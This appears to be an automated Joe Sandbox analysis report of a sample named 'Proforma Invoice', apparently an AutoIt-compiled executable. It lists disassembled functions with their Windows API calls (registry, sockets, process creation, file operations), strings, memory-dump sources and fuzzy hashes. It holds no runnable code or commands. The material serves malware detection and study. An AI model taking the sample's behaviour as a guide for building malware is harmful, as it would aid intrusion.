Instruction Fuzzy Hash: 2341D669C50218B6CB51EBB48C46EDFB7B9DF04310F50895EE508E3261FB34A645CBAE

Function 006FD56C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 006FD5D4
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 006FD60A
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 006FD61B
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 006FD69D

Strings

DllGetClassObject, xrefs: 006FD610
,,s, xrefs: 006FD578

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: ,,s$DllGetClassObject
API String ID: 753597075-747432728
Opcode ID: efbdc267f14b287ae8981147b7c7249a4ea6bb11d9fa562d3483f80545a9d0a1
Instruction ID: ab152bcc4b707af61860b932b8b6bae67e276c9279aeb03297c3813faf1cae1b
Opcode Fuzzy Hash: efbdc267f14b287ae8981147b7c7249a4ea6bb11d9fa562d3483f80545a9d0a1
Instruction Fuzzy Hash: 3F4160B1600208EFDB15DF54C884AAA7BBBEF44310F1581ADEE09DF205D7B5E945CBA4

Function 00703671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00703697,?), ref: 0070468B

Part of subcall function 0070466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00703697,?), ref: 007046A4

lstrcmpiW.KERNEL32(?,?), ref: 007036B7
_wcscmp.LIBCMT ref: 007036D3
MoveFileW.KERNEL32(?,?), ref: 007036EB
_wcscat.LIBCMT ref: 00703733
SHFileOperationW.SHELL32(?), ref: 0070379F

Strings

\*.*, xrefs: 0070372D

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 77e4f2e02e8dadb11873a0a3612ae86e1abf6b240676855fd3a9ecc6a08d54c4
Instruction ID: 381a5f96778402eb2b0877de5171f35381a4de646ee3d4090d9734356a155030
Opcode Fuzzy Hash: 77e4f2e02e8dadb11873a0a3612ae86e1abf6b240676855fd3a9ecc6a08d54c4
Instruction Fuzzy Hash: 19418EB1508344EEC751EF64C445ADFB7ECEF89380F404A2EF49AC3291EA39D6898756

Function 00727291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 007272AA
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00727351
IsMenu.USER32(?), ref: 00727369
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 007273B1
DrawMenuBar.USER32 ref: 007273C4

Strings

0, xrefs: 0072729E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: cf2b35d2fd518331ce9f8559fced839c3e4d9db69236fc34c3a6d4e3d651a55a
Instruction ID: ea64e27c1b099c50d477e1f52e6fc00bcbe0ce6d26a9eef8fda4c1c905ea1a3e
Opcode Fuzzy Hash: cf2b35d2fd518331ce9f8559fced839c3e4d9db69236fc34c3a6d4e3d651a55a
Instruction Fuzzy Hash: 1B414771A04249EFDB24DF50EA84A9ABBF8FB08310F148429FD0597251C738AD10EF90

Function 00720FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00720FD4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00720FFE
FreeLibrary.KERNEL32(00000000), ref: 007210B5

Part of subcall function 00720FA5: RegCloseKey.ADVAPI32(?), ref: 0072101B
Part of subcall function 00720FA5: FreeLibrary.KERNEL32(?), ref: 0072106D
Part of subcall function 00720FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00721090

RegDeleteKeyW.ADVAPI32(?,?), ref: 00721058

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: e7c2db1bbe2aa42aec46120c372143cc4b87a7d28041ee6cff7be75d79cd8363
Instruction ID: 3b107621faa643c08f137df43f5db5446eaad96fee860989d1e7b784e1c8687f
Opcode Fuzzy Hash: e7c2db1bbe2aa42aec46120c372143cc4b87a7d28041ee6cff7be75d79cd8363
Instruction Fuzzy Hash: 00310C71901119BFDB25DF90EC89EFFB7BCEF18300F404179E501A2151EA789E859AA4

Function 007262CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 007262EC
GetWindowLongW.USER32(011A5670,000000F0), ref: 0072631F
GetWindowLongW.USER32(011A5670,000000F0), ref: 00726354
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00726386
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 007263B0
GetWindowLongW.USER32(00000000,000000F0), ref: 007263C1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 007263DB

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 51aabb1eaf17c2c2e28b9c30bfadcb21cbd65c03c54b37cd5910684f4414f4e6
Instruction ID: c0b02622f20cfcbf40f80730030d0c7f12a2086bec5184417068719a27c54e91
Opcode Fuzzy Hash: 51aabb1eaf17c2c2e28b9c30bfadcb21cbd65c03c54b37cd5910684f4414f4e6
Instruction Fuzzy Hash: 1E311330640261EFDB20CF18EC84F5537E1FB4A714F1981A9F5419F2B2CB79A840DB94

Function 006FDAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 006FDB2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 006FDB54
SysAllocString.OLEAUT32(00000000), ref: 006FDB57
SysAllocString.OLEAUT32(?), ref: 006FDB75
SysFreeString.OLEAUT32(?), ref: 006FDB7E
StringFromGUID2.OLE32(?,?,00000028), ref: 006FDBA3
SysAllocString.OLEAUT32(?), ref: 006FDBB1

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 68c1f5f54ff0df2810f9bd65344d3c59ad75ce4c1d78fdc4d453a9037e2e2f6d
Instruction ID: 228339fe0421896581835a34639d203ff38325cdd1d1322af71b1d35a2391549
Opcode Fuzzy Hash: 68c1f5f54ff0df2810f9bd65344d3c59ad75ce4c1d78fdc4d453a9037e2e2f6d
Instruction Fuzzy Hash: 2B21977660021DAFDF10EFA8DC88DFB73AEEB09360B018575FA14DB290D674AC428764

Function 00716173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00717D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00717DB6

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 007161C6
WSAGetLastError.WSOCK32(00000000), ref: 007161D5
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0071620E
connect.WSOCK32(00000000,?,00000010), ref: 00716217
WSAGetLastError.WSOCK32 ref: 00716221
closesocket.WSOCK32(00000000), ref: 0071624A
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00716263

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: d51aff5aef9584231811f0d792142a068f4f641a236dca260c4e531d3c9acd8b
Instruction ID: eafe45ae2b9d66a74af97c1bba4b2be90ac3319caea6f14e244a5db907d408b8
Opcode Fuzzy Hash: d51aff5aef9584231811f0d792142a068f4f641a236dca260c4e531d3c9acd8b
Instruction Fuzzy Hash: BD31A131600108ABDF10AF28CC85BFE77B9EB45720F048029FD05A72D1CB78AC45DBA5

Function 006FF65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 006FF671
__wcsnicmp.LIBCMT ref: 006FF692
__wcsnicmp.LIBCMT ref: 006FF6AC

Strings

#requireadmin, xrefs: 006FF68C
#OnAutoItStartRegister, xrefs: 006FF6A6
#notrayicon, xrefs: 006FF669

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 5c8982b41237ff094294e33dbeb83f73e6235b313cf6783b1a6cf9fd7b8ad71d
Instruction ID: 61fcf725dd1867bb725d874103ba59ea1479cda24004b2ed14a4990f86f0e168
Opcode Fuzzy Hash: 5c8982b41237ff094294e33dbeb83f73e6235b313cf6783b1a6cf9fd7b8ad71d
Instruction Fuzzy Hash: 9C2107B2208525AAD220BB34BC02FF7B39BDF56354F14443DFA45C6292EB919D42C2A9

Function 006FDBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 006FDC09
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 006FDC2F
SysAllocString.OLEAUT32(00000000), ref: 006FDC32
SysAllocString.OLEAUT32 ref: 006FDC53
SysFreeString.OLEAUT32 ref: 006FDC5C
StringFromGUID2.OLE32(?,?,00000028), ref: 006FDC76
SysAllocString.OLEAUT32(?), ref: 006FDC84

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 78eec2e56326f4adda09fbec64423f91707e17fad6204944257a74b7459f5aac
Instruction ID: 8b00de8a06c6d1e3d2c5f440573b8fa0a822e54d766b6ed4251c8d7d8ae5e120
Opcode Fuzzy Hash: 78eec2e56326f4adda09fbec64423f91707e17fad6204944257a74b7459f5aac
Instruction Fuzzy Hash: 00215675604209AF9B10EFA8DC89DBB77EEEB09360B10C135FA15CB261D6B4EC42C764

Function 007275CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006A1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 006A1D73
Part of subcall function 006A1D35: GetStockObject.GDI32(00000011), ref: 006A1D87
Part of subcall function 006A1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 006A1D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00727632
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0072763F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0072764A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00727659
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00727665

Strings

Msctls_Progress32, xrefs: 00727603

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: ecdad383cc2e153f7fd226bb4ea4e1d8995f3218b80f1dee664e99128bf4e50d
Instruction ID: 96474a6949924a12e77dcf7beaf75fd24f3570789ba256fc953ad8cf5b0dad36
Opcode Fuzzy Hash: ecdad383cc2e153f7fd226bb4ea4e1d8995f3218b80f1dee664e99128bf4e50d
Instruction Fuzzy Hash: 7611B2B2110229BFEF159F64DC85EE77F6DEF08798F014114FA04A60A0CB76AC21DBA4

Function 006C9AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 006C9AE6

Part of subcall function 006C3187: EncodePointer.KERNEL32(00000000), ref: 006C318A
Part of subcall function 006C3187: __initp_misc_winsig.LIBCMT ref: 006C31A5
Part of subcall function 006C3187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 006C9EA0
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 006C9EB4
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 006C9EC7
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 006C9EDA
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 006C9EED
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 006C9F00
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 006C9F13
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 006C9F26
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 006C9F39
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 006C9F4C
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 006C9F5F
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 006C9F72
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 006C9F85
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 006C9F98
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 006C9FAB
Part of subcall function 006C3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 006C9FBE

__mtinitlocks.LIBCMT ref: 006C9AEB
__mtterm.LIBCMT ref: 006C9AF4

Part of subcall function 006C9B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,006C9AF9,006C7CD0,0075A0B8,00000014), ref: 006C9C56
Part of subcall function 006C9B5C: _free.LIBCMT ref: 006C9C5D
Part of subcall function 006C9B5C: DeleteCriticalSection.KERNEL32(02v,?,?,006C9AF9,006C7CD0,0075A0B8,00000014), ref: 006C9C7F

__calloc_crt.LIBCMT ref: 006C9B19
__initptd.LIBCMT ref: 006C9B3B
GetCurrentThreadId.KERNEL32 ref: 006C9B42

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 73ddbe8c03b73d7d8208d2c5091773cfe3962fe861a202982bd1b99b89e2155d
Instruction ID: febd8e2446a2ccb3aeac06ea47c7be696045d3cfb0c1645d2ca5932c0aa2c147
Opcode Fuzzy Hash: 73ddbe8c03b73d7d8208d2c5091773cfe3962fe861a202982bd1b99b89e2155d
Instruction Fuzzy Hash: E9F0C23210971129E7B47A74BC0BFBB3693DF02734F204A1EF014961D2EF50A94105BD

Function 0072B635 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0072B644
_memset.LIBCMT ref: 0072B653
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00766F20,00766F64), ref: 0072B682
CloseHandle.KERNEL32 ref: 0072B694

Strings

dov, xrefs: 0072B64D
ov, xrefs: 0072B63E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: ov$dov
API String ID: 3277943733-3865884406
Opcode ID: c351981e3747ded9e9b52f29349f00c8b799ee7161dcb5185c1f01a20e4daa75
Instruction ID: 70dafc3995671c5b3a311febef03baeede12586fce4956b3d89cc3277840782f
Opcode Fuzzy Hash: c351981e3747ded9e9b52f29349f00c8b799ee7161dcb5185c1f01a20e4daa75
Instruction Fuzzy Hash: 0EF05EB25403007AE2106761BC16FFB7A9DEB18395F408034FE0AE5192D7BA5C0087EC

Function 006C406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,006C3F85), ref: 006C4085
GetProcAddress.KERNEL32(00000000), ref: 006C408C
EncodePointer.KERNEL32(00000000), ref: 006C4097
DecodePointer.KERNEL32(006C3F85), ref: 006C40B2

Strings

RoUninitialize, xrefs: 006C4074
combase.dll, xrefs: 006C4080

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: fb375c2586bd5f3612d4e74cf87a156b1845423493f413245825104ba83d80b3
Instruction ID: 4090f67fabdd5ce45c7a7a21e869c2e6a249ed4a36264efc2aca990a91e57934
Opcode Fuzzy Hash: fb375c2586bd5f3612d4e74cf87a156b1845423493f413245825104ba83d80b3
Instruction Fuzzy Hash: 4AE092B0691704EBEA24AF61ED09B553AB5BB05B42F108138F502E11A2CFBE4602CA1C

Function 007064B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0070660B
_memmove.LIBCMT ref: 00706546

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

_memmove.LIBCMT ref: 007065B9
_memmove.LIBCMT ref: 007066A0
_memmove.LIBCMT ref: 007066B9
_memmove.LIBCMT ref: 007066D5

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 51945d54c3f8c0ccc4411b98a6fdda64bcd9e1a3578c2feb254a5296041c596c
Instruction ID: cd7f55638dc61e5233b9e42c70093f43d3f6d5a37cf61e2ac16970d2a488c34e
Opcode Fuzzy Hash: 51945d54c3f8c0ccc4411b98a6fdda64bcd9e1a3578c2feb254a5296041c596c
Instruction Fuzzy Hash: 56619A3050064AEBDF41EF60CC95EFE77AAAF06308F044A2DF9155B292DA39AD15CB64

Function 007201E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

Part of subcall function 00720E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0071FDAD,?,?), ref: 00720E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 007202BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 007202FD
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00720320
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00720349
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0072038C
RegCloseKey.ADVAPI32(00000000), ref: 00720399

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
